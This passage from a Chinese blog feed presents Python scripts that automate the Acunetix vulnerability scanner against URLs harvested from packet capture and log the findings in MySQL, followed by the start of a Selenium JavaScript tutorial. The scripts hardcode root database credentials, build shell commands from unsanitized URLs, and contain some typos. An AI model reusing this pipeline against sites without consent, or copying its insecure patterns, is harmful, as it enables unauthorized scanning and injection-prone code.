break-all;">学习</strong></u></a>，所以没再继续跟进这个项目。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　downurl.py 代码：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">#coding:utf-8</div><div style="word-break: break-all; margin: 10px 0px;">import MySQLdb</div><div style="word-break: break-all; margin: 10px 0px;">import os,time,shutil</div><div style="word-break: break-all; margin: 10px 0px;">import hashlib,re</div><div style="word-break: break-all; margin: 10px 0px;">datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))</div><div style="word-break: break-all; margin: 10px 0px;">#filetype='.txt'</div><div style="word-break: break-all; margin: 10px 0px;">#urlfilename=datanow+filetype</div><div style="word-break: break-all; margin: 10px 0px;">#path="D:\wvscan\url\\"</div><div style="word-break: break-all; margin: 10px 0px;">#newfile=path+urlfilename</div><div style="word-break: break-all; margin: 10px 0px;">datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))</div><div style="word-break: break-all; margin: 10px 0px;">con=MySQLdb.Connect('10.1.1.1','root','12345678','wvsdb')</div><div style="word-break: break-all; margin: 10px 0px;">cur=con.cursor()</div><div style="word-break: break-all; margin: 10px 0px;">sqlstr='select url from urls where time like %s'</div><div style="word-break: break-all; margin: 10px 0px;">values=datanow+'%'</div><div style="word-break: break-all; margin: 10px 0px;">cur.execute(sqlstr,values)</div><div style="word-break: break-all; margin: 10px 0px;">data=cur.fetchall()</div><div style="word-break: break-all; margin: 10px 0px;">#将当天的URL保存到本地url.txt文件</div><div style="word-break: break-all; margin: 10px 0px;">f=open(r'd:\Wvscan\url.txt','a+')</div><div style="word-break: break-all; margin: 10px 0px;">uhfile=open(r'd:\Wvscan\urlhash.txt','a+')</div><div style="word-break: break-all; margin: 10px 0px;">line=uhfile.readlines()</div><div style="word-break: break-all; margin: 10px 0px;">#保存之前对url进行简单的处理，跟本地的hash文件比对，确保url.txt中url不重复</div><div style="word-break: break-all; margin: 10px 0px;">for i in range(0,len(data)):</div><div style="word-break: break-all; margin: 10px 0px;">impurl=str(data[i][0]).split('=')[0]</div><div style="word-break: break-all; margin: 10px 0px;">urlhash=hashlib.new('md5',impurl).hexdigest()</div><div style="word-break: break-all; margin: 10px 0px;">urlhash=urlhash+'\n'</div><div style="word-break: break-all; margin: 10px 0px;">if urlhash in line:</div><div style="word-break: break-all; margin: 10px 0px;">pass</div><div style="word-break: break-all; margin: 10px 0px;">else:</div><div style="word-break: break-all; margin: 10px 0px;">uhfile.write(urlhash)</div><div style="word-break: break-all; margin: 10px 0px;">newurl=str(data[i][0])+'\n'</div><div style="word-break: break-all; margin: 10px 0px;">f.writelines(newurl)</div><div style="word-break: break-all; margin: 10px 0px;">cur.close()</div><div style="word-break: break-all; margin: 10px 0px;">con.close()</div></td></tr></tbody></table><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">抓包程序抓到的url可能重复率较高，而且都是带参数的，保存到本地的时候截取了最前面的域名+目录+文件部分进行了简单的去重。Awvs可能不大适合这样的方式，只需要将全部的域名列出来，然后逐一扫描即可，site Crawler功能会自动爬行。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　writeinmysql.py 结果入库模块，代码：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">#coding:UTF-8</div><div style="word-break: break-all; margin: 10px 0px;">import subprocess</div><div style="word-break: break-all; margin: 10px 0px;">import os,time,shutil,sys</div><div style="word-break: break-all; margin: 10px 0px;">import win32com.client</div><div style="word-break: break-all; margin: 10px 0px;">import MySQLdb</div><div style="word-break: break-all; margin: 10px 0px;">import re,hashlib</div><div style="word-break: break-all; margin: 10px 0px;">reload(sys)</div><div style="word-break: break-all; margin: 10px 0px;">sys.setdefaultencoding('utf-8')</div><div style="word-break: break-all; margin: 10px 0px;">#需要先在win服务器设置odbc源，指向access文件。实际用pyodbc模块可能更好一些</div><div style="word-break: break-all; margin: 10px 0px;">def writeinmysql():</div><div style="word-break: break-all; margin: 10px 0px;">conn = win32com.client.Dispatch(r'ADODB.Connection')</div><div style="word-break: break-all; margin: 10px 0px;">DSN = 'PROVIDER=Microsoft Access Driver (*.mdb, *.accdb)'</div><div style="word-break: break-all; margin: 10px 0px;">conn.Open('awvs')</div><div style="word-break: break-all; margin: 10px 0px;">cur=conn.cursor()</div><div style="word-break: break-all; margin: 10px 0px;">rs = win32com.client.Dispatch(r'ADODB.Recordset')</div><div style="word-break: break-all; margin: 10px 0px;">rs.Open('[WVS_alerts]', conn, 1, 3)</div><div style="word-break: break-all; margin: 10px 0px;">if rs.recordcount == 0:</div><div style="word-break: break-all; margin: 10px 0px;">exit()</div><div style="word-break: break-all; margin: 10px 0px;">#遍历所有的结果，cmp进行筛选危害等级为3的，也就是高危</div><div style="word-break: break-all; margin: 10px 0px;">while not rs.eof:</div><div style="word-break: break-all; margin: 10px 0px;">severity = str(rs('severity'))</div><div style="word-break: break-all; margin: 10px 0px;">if cmp('3', severity):</div><div style="word-break: break-all; margin: 10px 0px;">rs.movenext</div><div style="word-break: break-all; margin: 10px 0px;">continue</div><div style="word-break: break-all; margin: 10px 0px;">vultype = rs('algroup')</div><div style="word-break: break-all; margin: 10px 0px;">vulfile=rs('affects')</div><div style="word-break: break-all; margin: 10px 0px;">#由于mysql库中要求的漏洞类型和access的名称有点差别，所以还需要对漏洞类型和危害等级进行二次命名,sql注入和xss为例</div><div style="word-break: break-all; margin: 10px 0px;">xss='Cross site'</div><div style="word-break: break-all; margin: 10px 0px;">sqlinject='injection'</div><div style="word-break: break-all; margin: 10px 0px;">if xss in str(vultype):</div><div style="word-break: break-all; margin: 10px 0px;">vultype='XSS'</div><div style="word-break: break-all; margin: 10px 0px;">level='低危'</div><div style="word-break: break-all; margin: 10px 0px;">elif sqlinject in str(vultype):</div><div style="word-break: break-all; margin: 10px 0px;">vultype="SQL注入"</div><div style="word-break: break-all; margin: 10px 0px;">level='高危'</div><div style="word-break: break-all; margin: 10px 0px;">else:</div><div style="word-break: break-all; margin: 10px 0px;">level='中危'</div><div style="word-break: break-all; margin: 10px 0px;">#拼凑出漏洞测试url，用了正则表达式， post和get类型的request请求是不同的</div><div style="word-break: break-all; margin: 10px 0px;">params = rs('parameter')</div><div style="word-break: break-all; margin: 10px 0px;">ss = str(rs('request'))</div><div style="word-break: break-all; margin: 10px 0px;">str1 = ss[0:4]</div><div style="word-break: break-all; margin: 10px 0px;">if 'POST'== str1:</div><div style="word-break: break-all; margin: 10px 0px;">requestType = 'POST'</div><div style="word-break: break-all; margin: 10px 0px;">regex = 'POST (.*?) HTTP/1\.\d+'</div><div style="word-break: break-all; margin: 10px 0px;">str1 = re.findall(regex, ss);</div><div style="word-break: break-all; margin: 10px 0px;">else:</div><div style="word-break: break-all; margin: 10px 0px;">requestType = 'GET'</div><div style="word-break: break-all; margin: 10px 0px;">regex = 'GET (.*?) HTTP/1\.\d+'</div><div style="word-break: break-all; margin: 10px 0px;">str1 = re.findall(regex, ss);</div><div style="word-break: break-all; margin: 10px 0px;">regex = 'Host:(.*?)\r\n'</div><div style="word-break: break-all; margin: 10px 0px;">host = re.findall(regex, ss);</div><div style="word-break: break-all; margin: 10px 0px;">if host == []:</div><div style="word-break: break-all; margin: 10px 0px;">host = ''</div><div style="word-break: break-all; margin: 10px 0px;">else:</div><div style="word-break: break-all; margin: 10px 0px;">host = host[0].strip()</div><div style="word-break: break-all; margin: 10px 0px;">if str1 == []:</div><div style="word-break: break-all; margin: 10px 0px;">str1 = ''</div><div style="word-break: break-all; margin: 10px 0px;">else:</div><div style="word-break: break-all; margin: 10px 0px;">str1 = str1[0]</div><div style="word-break: break-all; margin: 10px 0px;">url =host + str1</div><div style="word-break: break-all; margin: 10px 0px;">timex=time.strftime('%Y-%m-%d',time.localtime(time.time()))</div><div style="word-break: break-all; margin: 10px 0px;">status=0</div><div style="word-break: break-all; margin: 10px 0px;">scanner='Awvs'</div><div style="word-break: break-all; margin: 10px 0px;">comment=''</div><div style="word-break: break-all; margin: 10px 0px;">db = MySQLdb.connect(host="10.1.1.1", user="root", passwd="12345678", db="wvsdb",charset='utf8')</div><div style="word-break: break-all; margin: 10px 0px;">cursor = db.cursor()</div><div style="word-break: break-all; margin: 10px 0px;">sql = 'insert into vuls(status,comment,vultype,url,host,params,level,scanner) values(%s,%s,%s,%s,%s,%s,%s,%s)'</div><div style="word-break: break-all; margin: 10px 0px;">values =[status,comment,vultype,'http://'+url.lstrip(),host,params,level,scanner]</div><div style="word-break: break-all; margin: 10px 0px;">#入库的时候又进行了去重，确保mysql库中没有存在该条漏洞记录，跟本地保存的vulhash进行比对，感觉这种方法很原始。</div><div style="word-break: break-all; margin: 10px 0px;">hashvalue=str(values[2])+str(values[4])+str(vulfile)+str(values[5])</div><div style="word-break: break-all; margin: 10px 0px;">vulhash=hashlib.new('md5',hashvalue).hexdigest()</div><div style="word-break: break-all; margin: 10px 0px;">vulhash=vulhash+'\n'</div><div style="word-break: break-all; margin: 10px 0px;">file=open(r'D:\Wvscan\vulhash.txt','a+')</div><div style="word-break: break-all; margin: 10px 0px;">if vulhash in file.readlines():</div><div style="word-break: break-all; margin: 10px 0px;">pass</div><div style="word-break: break-all; margin: 10px 0px;">else:</div><div style="word-break: break-all; margin: 10px 0px;">file.write(vulhash+'\n')</div><div style="word-break: break-all; margin: 10px 0px;">cursor.execute(sql, values)</div><div style="word-break: break-all; margin: 10px 0px;">delsql='delete from vuls where vultype like %s or vultype like %s'</div><div style="word-break: break-all; margin: 10px 0px;">delvaluea='Slow HTTP%'</div><div style="word-break: break-all; margin: 10px 0px;">delvalueb='Host header%'</div><div style="word-break: break-all; margin: 10px 0px;">delinfo=[delvaluea,delvalueb]</div><div style="word-break: break-all; margin: 10px 0px;">cursor.execute(delsql,delinfo)</div><div style="word-break: break-all; margin: 10px 0px;">db.commit()</div><div style="word-break: break-all; margin: 10px 0px;">rs.movenext</div><div style="word-break: break-all; margin: 10px 0px;">rs.close</div><div style="word-break: break-all; margin: 10px 0px;">conn.close</div><div style="word-break: break-all; margin: 10px 0px;">cursor.close()</div><div style="word-break: break-all; margin: 10px 0px;">db.close()</div><div style="word-break: break-all; margin: 10px 0px;">if __name_=='__main__':</div><div style="word-break: break-all; margin: 10px 0px;">writeinmysql()</div><div style="word-break: break-all; margin: 10px 0px;">time.sleep(10)</div><div style="word-break: break-all; margin: 10px 0px;">#备份每天的扫描数据库，用原始数据库替换，方便第二天继续保存。</div><div style="word-break: break-all; margin: 10px 0px;">datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))</div><div style="word-break: break-all; margin: 10px 0px;">filetype='.mdb'</div><div style="word-break: break-all; margin: 10px 0px;">urlfilename=datanow+filetype</div><div style="word-break: break-all; margin: 10px 0px;">path="D:\wvscan\databak\\"</div><div style="word-break: break-all; margin: 10px 0px;">databakfile=path+urlfilename</div><div style="word-break: break-all; margin: 10px 0px;">shutil.copyfile(r'D:\Wvscan\data\vulnscanresults.mdb',databakfile)</div><div style="word-break: break-all; margin: 10px 0px;">shutil.copyfile(r'D:\Wvscan\vulnscanresults.mdb',r'D:\Wvscan\data\vulnscanresults.mdb')</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　startwvs.py,扫描模块，这个模块问题较多，就是之前提到的，没有考虑重复扫描和异常终止的问题，贴上代码：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">#coding:utf-8</div><div style="word-break: break-all; margin: 10px 0px;">import subprocess</div><div style="word-break: break-all; margin: 10px 0px;">import os,time,shutil</div><div style="word-break: break-all; margin: 10px 0px;">file=open(r"D:\Wvscan\url.txt","r")</div><div style="word-break: break-all; margin: 10px 0px;">def wvsscan():</div><div style="word-break: break-all; margin: 10px 0px;">for readline in file:</div><div style="word-break: break-all; margin: 10px 0px;">url=readline.strip('\n')</div><div style="word-break: break-all; margin: 10px 0px;">cmd=r"d:\Wvs\wvs_console.exe /Scan "+url+r" /SavetoDatabase"</div><div style="word-break: break-all; margin: 10px 0px;">doscan=subprocess.Popen(cmd)</div><div style="word-break: break-all; margin: 10px 0px;">doscan.wait()</div><div style="word-break: break-all; margin: 10px 0px;">if __name__=='__main__':</div><div style="word-break: break-all; margin: 10px 0px;">wvsscan()</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/html/wx.jpg) no-repeat;"></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div> <div><div id="SL_button" class="ImTranslatorLogo"></div><div id="SL_shadow_translation_result2"></div><div id="SL_shadow_translator"><div id="SL_planshet"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result"></div><div id="SL_bbl_donate" title="Make a small contribution"></div><div id="SL_Balloon_options"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421654.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:01 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421654.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Selenium WebDriver之JavaScript</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421652.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:57:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421652.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421652.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421652.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421652.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421652.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">WebDriver提供了方法来同步/异步执行JavaScript代码，这是因为JavaScript可以完成一些WebDriver本身所不能完成的功能，从而让WebDriver更加灵活和强大。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　本文中所提到的都是JAVA代码。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">1. 在WebDriver中如何执行JavaScript代码</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　JavaScript代码总是以字符串的形式传递给WebDriver,不管你的JavaScript代码是一行还是多行，WebDriver都可以用executeScript方法来执行字符串中包含的所有JavaScript代码。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　WebDriver driver = new FirefoxDriver();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　JavascriptExecutor driver_js=(JavascriptExecutor)driver;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　String js = "alert(\"Hello World!\");";</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　driver_js.executeScript( js);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">2.同步执行JavaScript和异步执行JavaScript的区别</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　同步执行：driver_js.executeScript( js)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果JavaScript代码的执行时间较短，可以选择同步执行，因为Webdriver会等待同步执行的结果，然后再运行其它的代码。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　异步执行：driver_js.executeAsyncScript(js)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果JavaScript代码的执行时间较长，可以选择异步执行，因为Webdriver不会等待其执行结果，而是直接执行下面的代码。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">3. 用Javascript实现等待页面加载的功能</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public void waitForPageLoad() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　While(driver_js.executeScript("return document.readyState" ).equals ("complete")){</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Thread.sleep(500);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　这样做的缺点是，没有设定timeout时间，如果页面加载一直不能完成的话，那么代码也会一直等待。当然你也可以为while循环设定循环次数，或者直接采用下面的代码：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">protected Function&lt;WebDriver, Boolean&gt; isPageLoaded() {</div><div style="word-break: break-all; margin: 10px 0px;">return new Function&lt;WebDriver, Boolean&gt;() {</div><div style="word-break: break-all; margin: 10px 0px;">@Override</div><div style="word-break: break-all; margin: 10px 0px;">public Boolean apply(WebDriver driver) {</div><div style="word-break: break-all; margin: 10px 0px;">return ((JavascriptExecutor) driver).executeScript("returndocument.readyState").equals("complete");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">};</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">public voidwaitForPageLoad() {</div><div style="word-break: break-all; margin: 10px 0px;">WebDriverWait wait = new WebDriverWait(driver, 30);</div><div style="word-break: break-all; margin: 10px 0px;">wait.until(isPageLoaded());</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　需要指出的是单纯的JavaScript是很难实现等待功能的，因为JavaScript的执行是不阻塞主线程的，你可以为指定代码的执行设定等待时间，但是却无法达到为其它WebDriver代码设定等待时间的目的。有兴趣的同学可以研究一下。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">4. Javascrpt模拟点击操作，并触发相应事件</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, 